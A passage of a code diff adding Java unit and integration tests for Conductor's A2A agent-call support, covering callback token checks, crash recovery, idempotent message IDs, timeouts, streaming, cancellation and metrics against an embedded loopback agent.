+ when(mockTask.getWorkflowInstanceId()).thenReturn("wf-1"); + when(mockTask.getTaskId()).thenReturn("task-1"); + + when(mockModel.generateEmbeddings(any())).thenReturn(List.of(0.5f)); + + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setLlmProvider("anthropic"); + request.setModel("text-embedding-model"); + request.setText("Sample text for embedding"); + + llms.generateEmbeddings(mockTask, request); + + verify(mockModelProvider).getModel(request); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ACallbackResourceTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ACallbackResourceTest.java new file mode 100644 index 0000000..90dcb46 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ACallbackResourceTest.java @@ -0,0 +1,171 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.a2a.EmbeddedA2AAgent.SendMode; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.http.ResponseEntity; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.service.TaskService; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.doNothing; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.spy; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Tests the push-notification receiver end-to-end against a real embedded agent: on a valid push it + * fetches authoritative state via {@code tasks/get} and completes the waiting task through {@link + * TaskService} (which is mocked, standing in for the engine). + * + *

SSRF validation is stubbed out because the embedded agent uses loopback (127.0.0.1); this is + * intentional and correct — production deployments must never disable it. + */ +class A2ACallbackResourceTest { + + private EmbeddedA2AAgent agent; + private TaskService taskService; + private A2ACallbackResource resource; + + @BeforeEach + void setUp() throws Exception { + agent = new EmbeddedA2AAgent(); + OkHttpClient client = + new OkHttpClient.Builder() + .connectTimeout(3, TimeUnit.SECONDS) + .readTimeout(10, TimeUnit.SECONDS) + .build(); + // Spy to bypass SSRF check for loopback — the embedded agent uses 127.0.0.1. + A2AService service = spy(new A2AService(client)); + doNothing().when(service).validateAgentUrl(anyString()); + taskService = mock(TaskService.class); + resource = new A2ACallbackResource(taskService, service); + } + + @AfterEach + void tearDown() { + agent.close(); + } + + private Task waitingTask(String token) { + Task task = new Task(); + task.setTaskId("conductor-task-1"); + task.setTaskType(AgentTask.TASK_TYPE); + task.setStatus(Task.Status.IN_PROGRESS); + task.setWorkflowInstanceId("wf-1"); + task.setReferenceTaskName("agentRef"); + Map input = new HashMap<>(); + input.put("agentUrl", agent.url()); + task.setInputData(input); + Map output = new HashMap<>(); + output.put(A2AResults.KEY_PUSH_TOKEN, token); + output.put(A2AResults.KEY_TASK_ID, EmbeddedA2AAgent.AGENT_TASK_ID); + task.setOutputData(output); + return task; + } + + @Test + void push_validToken_completesTask() { + agent.sendMode(SendMode.TASK_COMPLETED).text("pushed"); + when(taskService.getTask("conductor-task-1")).thenReturn(waitingTask("tok-123")); + + // Send token via Bearer Authorization header (preferred path) + ResponseEntity response = + resource.onPushNotification("conductor-task-1", "Bearer tok-123", null, null); + + assertEquals(200, response.getStatusCode().value()); + verify(taskService) + .updateTask( + eq("wf-1"), + eq("agentRef"), + eq(TaskResult.Status.COMPLETED), + eq("a2a-callback"), + anyMap()); + } + + @Test + void push_customHeader_completesTask() { + agent.sendMode(SendMode.TASK_COMPLETED).text("pushed"); + when(taskService.getTask("conductor-task-1")).thenReturn(waitingTask("tok-123")); + + // Send token via custom header (fallback path) + ResponseEntity response = + resource.onPushNotification("conductor-task-1", null, "tok-123", null); + + assertEquals(200, response.getStatusCode().value()); + } + + @Test + void push_tokenMismatch_isForbidden() { + when(taskService.getTask("conductor-task-1")).thenReturn(waitingTask("tok-123")); + + ResponseEntity response = + resource.onPushNotification("conductor-task-1", "Bearer wrong-token", null, null); + + assertEquals(403, response.getStatusCode().value()); + verify(taskService, never()).updateTask(any(), any(), any(), any(), anyMap()); + } + + @Test + void push_expiredToken_isForbidden() { + // Token with an expiry in the past + String expiredToken = + "550e8400-dead-41d4-a716-446655440000:" + (System.currentTimeMillis() - 1000); + when(taskService.getTask("conductor-task-1")).thenReturn(waitingTask(expiredToken)); + + ResponseEntity response = + resource.onPushNotification( + "conductor-task-1", "Bearer " + expiredToken, null, null); + + assertEquals(403, response.getStatusCode().value()); + } + + @Test + void push_unknownTask_isNotFound() { + when(taskService.getTask("missing")).thenReturn(null); + + ResponseEntity response = + resource.onPushNotification("missing", "Bearer tok", null, null); + + assertEquals(404, response.getStatusCode().value()); + } + + @Test + void push_remoteStillWorking_acksWithoutCompleting() { + agent.sendMode(SendMode.TASK_WORKING).completeAfterPolls(5); + when(taskService.getTask("conductor-task-1")).thenReturn(waitingTask("tok-123")); + + ResponseEntity response = + resource.onPushNotification("conductor-task-1", "Bearer tok-123", null, null); + + assertEquals(200, response.getStatusCode().value()); + verify(taskService, never()).updateTask(any(), any(), any(), any(), anyMap()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ADurabilityTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ADurabilityTest.java new file mode 100644 index 0000000..4d64a79 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ADurabilityTest.java @@ -0,0 +1,282 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.a2a.EmbeddedA2AAgent.SendMode; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.model.TaskModel; + +import com.fasterxml.jackson.databind.ObjectMapper; +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.doNothing; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.spy; +import static org.mockito.Mockito.when; + +/** + * Durability test-harness — validates the proof obligations from {@code + * design/a2a/09-durable-a2a.md} by injecting failures against a real embedded A2A agent and the + * real {@link AgentTask} / {@link A2AService} logic. + * + * + * + * + * + * + * + * + *
T1{@link #t1_crashRecovery_resumesOnAFreshInstance()}P1 crash-safe resume
T2/T7{@link #t2_messageId_isStableAcrossRetries()}P3 idempotency key stable across retries/restart
T3{@link #t3_messageId_distinctPerIteration()}P3 distinct per loop iteration
T4a{@link #t4_deadAgent_failsWithinFailureCap()}P2 liveness — failure cap
T4b{@link #t4_deadline_failsTerminally()}P2 liveness — absolute deadline
T5{@link #t5_pushBackstop_completesWithoutWebhook()}P2 push backstop poll
+ * + *

SSRF validation is bypassed because the embedded agent uses loopback — intentional for tests. + */ +class A2ADurabilityTest { + + private EmbeddedA2AAgent agent; + private OkHttpClient client; + private Environment environment; + + @BeforeEach + void setUp() throws Exception { + agent = new EmbeddedA2AAgent(); + client = + new OkHttpClient.Builder() + .connectTimeout(2, TimeUnit.SECONDS) + .readTimeout(5, TimeUnit.SECONDS) + .build(); + environment = mock(Environment.class); + } + + @AfterEach + void tearDown() { + agent.close(); + } + + private A2AService newService() { + // Fresh service instance — also models "a different server picking the task up". + A2AService service = spy(new A2AService(client)); + doNothing().when(service).validateAgentUrl(anyString()); + return service; + } + + private AgentTask newTask(A2AService service) { + return new AgentTask(service, environment); + } + + private TaskModel taskModel( + String taskId, String wf, String ref, int iteration, Map extra) { + TaskModel model = new TaskModel(); + model.setTaskId(taskId); + model.setWorkflowInstanceId(wf); + model.setReferenceTaskName(ref); + model.setIteration(iteration); + Map input = new HashMap<>(); + input.put("agentUrl", agent.url()); + input.put("text", "convert 100 USD"); + if (extra != null) { + input.putAll(extra); + } + model.setInputData(input); + return model; + } + + // ---- T1: crash recovery ------------------------------------------------------------------- + + @Test + void t1_crashRecovery_resumesOnAFreshInstance() { + agent.sendMode(SendMode.TASK_WORKING).completeAfterPolls(2).text("done"); + + // Instance #1 starts the call; the remote task is created and we go IN_PROGRESS. + TaskModel model = taskModel("t1", "wf-1", "agent", 0, null); + newTask(newService()).start(null, model, null); + assertEquals(TaskModel.Status.IN_PROGRESS, model.getStatus()); + assertEquals(EmbeddedA2AAgent.AGENT_TASK_ID, model.getOutputData().get("taskId")); + + // "Restart": a brand-new service + task instance resumes purely from the persisted + // TaskModel state (its output carries the remote taskId). + AgentTask afterRestart = newTask(newService()); + int guard = 0; + while (model.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 20) { + afterRestart.execute(null, model, null); + } + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals("done", model.getOutputData().get("text")); + } + + @Test + void t1b_crashRecovery_survivesPersistenceRoundTrip() throws Exception { + agent.sendMode(SendMode.TASK_WORKING).completeAfterPolls(2).text("recovered"); + + // Instance #1 starts the call → IN_PROGRESS, remote taskId recorded in the task output. + TaskModel before = taskModel("t1b", "wf-1", "agent", 0, null); + newTask(newService()).start(null, before, null); + assertEquals(TaskModel.Status.IN_PROGRESS, before.getStatus()); + + // Cross the exact persistence boundary the engine crosses on restart: the durable task + // state (input + output maps) is serialized to JSON — as the execution DAO stores it — + // and a COLD TaskModel is reconstructed from that JSON alone (no in-memory carry-over). + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + String inputJson = objectMapper.writeValueAsString(before.getInputData()); + String outputJson = objectMapper.writeValueAsString(before.getOutputData()); + + TaskModel restored = new TaskModel(); + restored.setTaskId(before.getTaskId()); + restored.setInputData(objectMapper.readValue(inputJson, Map.class)); + restored.addOutput(objectMapper.readValue(outputJson, Map.class)); + restored.setStatus(TaskModel.Status.IN_PROGRESS); + + // A fresh service + task instance (a "restarted" worker) resumes from the restored state. + AgentTask afterRestart = newTask(newService()); + int guard = 0; + while (restored.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 20) { + afterRestart.execute(null, restored, null); + } + + assertEquals(TaskModel.Status.COMPLETED, restored.getStatus()); + assertEquals("recovered", restored.getOutputData().get("text")); + } + + // ---- T2 / T7: deterministic, retry-stable messageId --------------------------------------- + + @Test + void t2_messageId_isStableAcrossRetries() { + agent.sendMode(SendMode.TASK_COMPLETED); + + // Attempt 1 (taskId t-a) and a "retry" (taskId t-b) — Conductor mints a new taskId per + // retry but keeps the same workflowId + referenceTaskName + iteration. + TaskModel attempt1 = taskModel("t-a", "wf-9", "callAgent", 0, null); + newTask(newService()).start(null, attempt1, null); + String id1 = agent.lastMessageId(); + + TaskModel attempt2 = taskModel("t-b", "wf-9", "callAgent", 0, null); + newTask(newService()).start(null, attempt2, null); + String id2 = agent.lastMessageId(); + + assertNotNull(id1); + assertEquals(id1, id2, "retry must re-send the same messageId (idempotency key)"); + } + + @Test + void t3_messageId_distinctPerIteration() { + agent.sendMode(SendMode.TASK_COMPLETED); + + TaskModel iter0 = taskModel("t-0", "wf-9", "callAgent", 0, null); + newTask(newService()).start(null, iter0, null); + String id0 = agent.lastMessageId(); + + TaskModel iter1 = taskModel("t-1", "wf-9", "callAgent", 1, null); + newTask(newService()).start(null, iter1, null); + String id1 = agent.lastMessageId(); + + assertNotEquals(id0, id1, "different DO_WHILE iterations must use distinct messageIds"); + } + + @Test + void t2_callerCanOverrideMessageId() { + agent.sendMode(SendMode.TASK_COMPLETED); + Map message = new HashMap<>(); + message.put("messageId", "caller-supplied-id"); + message.put("parts", java.util.List.of(Map.of("kind", "text", "text", "hi"))); + TaskModel model = taskModel("t-x", "wf-9", "callAgent", 0, Map.of("message", message)); + + newTask(newService()).start(null, model, null); + + assertEquals("caller-supplied-id", agent.lastMessageId()); + } + + // ---- T4: liveness — must not hang forever ------------------------------------------------- + + @Test + void t4_deadAgent_failsWithinFailureCap() { + // Send succeeds (task working), then the agent goes dark on every poll. + agent.sendMode(SendMode.TASK_WORKING).failGetTask(true); + + TaskModel model = taskModel("t4", "wf-1", "agent", 0, Map.of("maxPollFailures", 3)); + AgentTask task = newTask(newService()); + task.start(null, model, null); + assertEquals(TaskModel.Status.IN_PROGRESS, model.getStatus()); + + int guard = 0; + while (model.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 50) { + task.execute(null, model, null); + } + + assertEquals( + TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, + model.getStatus(), + "a dead agent must drive the task terminal, not poll forever"); + assertTrue(guard <= 5, "should give up near the failure cap, not loop the guard"); + } + + @Test + void t4_deadline_failsTerminally() { + agent.sendMode(SendMode.TASK_WORKING).completeAfterPolls(1000); // never completes in time + + TaskModel model = taskModel("t4b", "wf-1", "agent", 0, Map.of("maxDurationSeconds", 1)); + AgentTask task = newTask(newService()); + task.start(null, model, null); + // Force the deadline to be in the past (simulate elapsed time deterministically). + model.addOutput(A2AResults.KEY_STARTED_AT, System.currentTimeMillis() - 5000); + + task.execute(null, model, null); + + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, model.getStatus()); + assertTrue( + model.getReasonForIncompletion().contains("max duration"), + model.getReasonForIncompletion()); + } + + // ---- T5: durable push — backstop poll completes even with no webhook ---------------------- + + @Test + void t5_pushBackstop_completesWithoutWebhook() { + when(environment.getProperty(AgentTask.CALLBACK_URL_PROPERTY)) + .thenReturn("https://conductor.example.com"); + // Remote returns "working" on send, "completed" on the first poll. No webhook ever fires. + agent.sendMode(SendMode.TASK_WORKING).completeAfterPolls(0).text("via-backstop"); + + TaskModel model = + taskModel( + "t5", + "wf-1", + "agent", + 0, + Map.of("pushNotification", true, "pushBackstopPollSeconds", 7)); + AgentTask task = newTask(newService()); + + task.start(null, model, null); + assertEquals(TaskModel.Status.IN_PROGRESS, model.getStatus()); + + // Push mode must poll at the slow backstop cadence, not the fast default. + assertEquals(7L, task.getEvaluationOffset(model, 30).orElseThrow()); + + // The backstop poll completes the task even though no webhook was delivered. + task.execute(null, model, null); + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals("via-backstop", model.getOutputData().get("text")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AEndToEndTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AEndToEndTest.java new file mode 100644 index 0000000..64c3938 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AEndToEndTest.java @@ -0,0 +1,178 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.a2a.EmbeddedA2AAgent.SendMode; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.model.A2AAgentCardRequest; +import org.conductoross.conductor.ai.tasks.worker.A2AWorkers; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.model.TaskModel; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.doNothing; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.spy; + +/** + * End-to-end tests against a real, embedded A2A agent ({@link EmbeddedA2AAgent}) over loopback HTTP + * — exercising discovery, send, polling, streaming, and cancellation through the actual wire + * protocol and the real {@link A2AService}/{@link AgentTask} logic (no mocks on the A2A path). + */ +class A2AEndToEndTest { + + private EmbeddedA2AAgent agent; + private A2AService service; + private AgentTask callAgentTask; + + @BeforeEach + void setUp() throws Exception { + agent = new EmbeddedA2AAgent(); + OkHttpClient client = + new OkHttpClient.Builder() + .connectTimeout(3, TimeUnit.SECONDS) + .readTimeout(10, TimeUnit.SECONDS) + .writeTimeout(3, TimeUnit.SECONDS) + .build(); + // Spy to bypass SSRF check for loopback — embedded agent uses 127.0.0.1. + service = spy(new A2AService(client)); + doNothing().when(service).validateAgentUrl(anyString()); + Environment environment = mock(Environment.class); + callAgentTask = new AgentTask(service, environment); + } + + @AfterEach + void tearDown() { + agent.close(); + } + + private TaskModel taskModel(Map input) { + TaskModel model = new TaskModel(); + model.setInputData(input); + model.setTaskId("conductor-task-1"); + return model; + } + + @Test + void discovery_resolvesRealAgentCard() { + AgentCard card = service.getAgentCard(agent.url(), null); + assertEquals("Embedded Agent", card.getName()); + assertTrue(card.getCapabilities().isStreaming()); + assertEquals("echo", card.getSkills().get(0).getId()); + } + + @Test + void getAgentCardWorker_resolvesRealAgentCard() { + A2AWorkers workers = new A2AWorkers(service); + A2AAgentCardRequest request = new A2AAgentCardRequest(); + request.setAgentUrl(agent.url()); + + AgentCard card = workers.getAgentCard(request); + + assertEquals("Embedded Agent", card.getName()); + } + + @Test + void callAgent_immediateCompletion() { + agent.sendMode(SendMode.TASK_COMPLETED).text("42"); + + TaskModel task = taskModel(Map.of("agentUrl", agent.url(), "text", "convert")); + callAgentTask.start(null, task, null); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("42", task.getOutputData().get("text")); + } + + @Test + void callAgent_directMessageReply() { + agent.sendMode(SendMode.MESSAGE).text("hi there"); + + TaskModel task = taskModel(Map.of("agentUrl", agent.url(), "text", "hello")); + callAgentTask.start(null, task, null); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("message", task.getOutputData().get("state")); + assertEquals("hi there", task.getOutputData().get("text")); + } + + @Test + void callAgent_pollsLongRunningTaskToCompletion() { + agent.sendMode(SendMode.TASK_WORKING).completeAfterPolls(2).text("done"); + + TaskModel task = taskModel(Map.of("agentUrl", agent.url(), "text", "convert")); + callAgentTask.start(null, task, null); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + + // Simulate the engine's poll loop. + int guard = 0; + while (task.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 20) { + callAgentTask.execute(null, task, null); + } + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("done", task.getOutputData().get("text")); + assertTrue(agent.getCalls() >= 2, "expected the agent to be polled"); + } + + @Test + void callAgent_inputRequiredCompletesWithQuestion() { + agent.sendMode(SendMode.INPUT_REQUIRED); + + TaskModel task = taskModel(Map.of("agentUrl", agent.url(), "text", "convert")); + callAgentTask.start(null, task, null); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals("input-required", task.getOutputData().get("state")); + assertEquals(EmbeddedA2AAgent.AGENT_TASK_ID, task.getOutputData().get("taskId")); + assertEquals("Which currency?", task.getOutputData().get("text")); + } + + @Test + void callAgent_streamingAggregatesChunks() { + agent.sendMode(SendMode.STREAM); + + TaskModel task = + taskModel(Map.of("agentUrl", agent.url(), "text", "convert", "streaming", true)); + callAgentTask.start(null, task, null); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + String text = (String) task.getOutputData().get("text"); + assertTrue(text.contains("Hello"), text); + assertTrue(text.contains("world"), text); + } + + @Test + void cancel_propagatesToRealAgent() { + agent.sendMode(SendMode.TASK_WORKING); + + TaskModel task = taskModel(Map.of("agentUrl", agent.url(), "text", "x")); + callAgentTask.start(null, task, null); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + + callAgentTask.cancel(null, task, null); + + assertEquals(TaskModel.Status.CANCELED, task.getStatus()); + assertEquals(1, agent.cancelCalls()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AObservabilityTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AObservabilityTest.java new file mode 100644 index 0000000..f81376d --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AObservabilityTest.java @@ -0,0 +1,78 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import org.junit.jupiter.api.Test; +import org.slf4j.MDC; + +import com.netflix.conductor.metrics.Monitors; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; + +class A2AObservabilityTest { + + // ---- metrics ----------------------------------------------------------------------------- + + @Test + void clientCall_incrementsCounterForResultTag() { + double before = Monitors.getCounter("a2a_client_calls", "result", "completed").count(); + A2AMetrics.clientCall("completed"); + double after = Monitors.getCounter("a2a_client_calls", "result", "completed").count(); + assertEquals(before + 1, after, 0.0001); + } + + @Test + void rpcError_tagsMethodAndTerminal() { + double before = + Monitors.getCounter("a2a_rpc_errors", "method", "tasks/get", "terminal", "true") + .count(); + A2AMetrics.rpcError("tasks/get", true); + double after = + Monitors.getCounter("a2a_rpc_errors", "method", "tasks/get", "terminal", "true") + .count(); + assertEquals(before + 1, after, 0.0001); + } + + @Test + void ssrfBlocked_andServerResume_increment() { + double ssrfBefore = Monitors.getCounter("a2a_ssrf_blocked").count(); + A2AMetrics.ssrfBlocked(); + assertEquals(ssrfBefore + 1, Monitors.getCounter("a2a_ssrf_blocked").count(), 0.0001); + + double resumeBefore = Monitors.getCounter("a2a_server_resumes").count(); + A2AMetrics.serverResume(); + assertEquals(resumeBefore + 1, Monitors.getCounter("a2a_server_resumes").count(), 0.0001); + } + + // ---- MDC --------------------------------------------------------------------------------- + + @Test + void mdcScope_setsKeysAndRemovesThemOnClose() { + assertNull(MDC.get(A2ALogging.WORKFLOW_ID)); + try (A2ALogging.Scope scope = + A2ALogging.of( + A2ALogging.WORKFLOW_ID, + "wf-1", + A2ALogging.TASK_ID, + null)) { // null value is skipped + assertEquals("wf-1", MDC.get(A2ALogging.WORKFLOW_ID)); + assertNull(MDC.get(A2ALogging.TASK_ID)); + scope.add(A2ALogging.REMOTE_TASK_ID, "remote-1"); + assertEquals("remote-1", MDC.get(A2ALogging.REMOTE_TASK_ID)); + } + // Every key this scope set is gone — no leak onto the next task on a pooled thread. + assertNull(MDC.get(A2ALogging.WORKFLOW_ID)); + assertNull(MDC.get(A2ALogging.REMOTE_TASK_ID)); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ARealAgentIntegrationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ARealAgentIntegrationTest.java new file mode 100644 index 0000000..0f09952 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ARealAgentIntegrationTest.java @@ -0,0 +1,99 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.model.TaskModel; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; + +/** + * Opt-in integration test against a REAL, externally running A2A agent (e.g. an agent from {@code + * a2aproject/a2a-samples}). Skipped unless {@code A2A_AGENT_URL} is set. + * + *

Example (run the helloworld sample, then): + * + * 

+ *   A2A_AGENT_URL=http://localhost:9999 \
+ *   ./gradlew :conductor-ai:test --tests '*A2ARealAgentIntegrationTest'
+ *
+ * + * Optional: {@code A2A_AGENT_PROMPT} (default "hello") and {@code A2A_AGENT_TOKEN} (sent as a + * Bearer Authorization header). See {@code ai/src/test/resources/a2a/README.md}. + */ +@EnabledIfEnvironmentVariable(named = "A2A_AGENT_URL", matches = ".+") +class A2ARealAgentIntegrationTest { + + private A2AService service() { + OkHttpClient client = + new OkHttpClient.Builder() + .connectTimeout(10, TimeUnit.SECONDS) + .readTimeout(120, TimeUnit.SECONDS) + .build(); + return new A2AService(client); + } + + private Map headers() { + String token = System.getenv("A2A_AGENT_TOKEN"); + return token == null || token.isBlank() ? null : Map.of("Authorization", "Bearer " + token); + } + + @Test + void discoversRealAgentCard() { + String url = System.getenv("A2A_AGENT_URL"); + AgentCard card = service().getAgentCard(url, headers()); + assertNotNull(card.getName(), "agent card should expose a name"); + System.out.println("A2A agent: " + card.getName() + " — skills=" + card.getSkills()); + } + + @Test + void callsRealAgentToTerminalState() { + String url = System.getenv("A2A_AGENT_URL"); + String prompt = System.getenv().getOrDefault("A2A_AGENT_PROMPT", "hello"); + + AgentTask callAgentTask = new AgentTask(service(), mock(Environment.class)); + TaskModel task = new TaskModel(); + task.setTaskId("it-task-1"); + Map input = new java.util.HashMap<>(); + input.put("agentUrl", url); + input.put("text", prompt); + if (headers() != null) { + input.put("headers", headers()); + } + task.setInputData(input); + + callAgentTask.start(null, task, null); + + int guard = 0; + while (task.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 60) { + callAgentTask.execute(null, task, null); + } + + assertTrue( + task.getStatus().isTerminal() || task.getStatus() == TaskModel.Status.COMPLETED, + "expected a terminal status, got " + task.getStatus()); + System.out.println( + "A2A call result: status=" + task.getStatus() + " output=" + task.getOutputData()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ASdkInteropTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ASdkInteropTest.java new file mode 100644 index 0000000..77a47b1 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2ASdkInteropTest.java @@ -0,0 +1,273 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.io.IOException; +import java.net.ServerSocket; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.model.TaskModel; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assumptions.assumeTrue; +import static org.mockito.Mockito.mock; + +/** + * Interop test against a real, non-Conductor A2A agent — the reference {@code a2a-sdk} echo + * agent ({@code ai/src/test/resources/a2a/echo_agent.py}) launched as a subprocess. This proves our + * client speaks the real wire protocol (Agent Card discovery, {@code message/send}, {@code + * tasks/get} poll-to-completion, and SSE streaming) against the protocol's reference implementation + * — not a hand-rolled fixture. + * + *

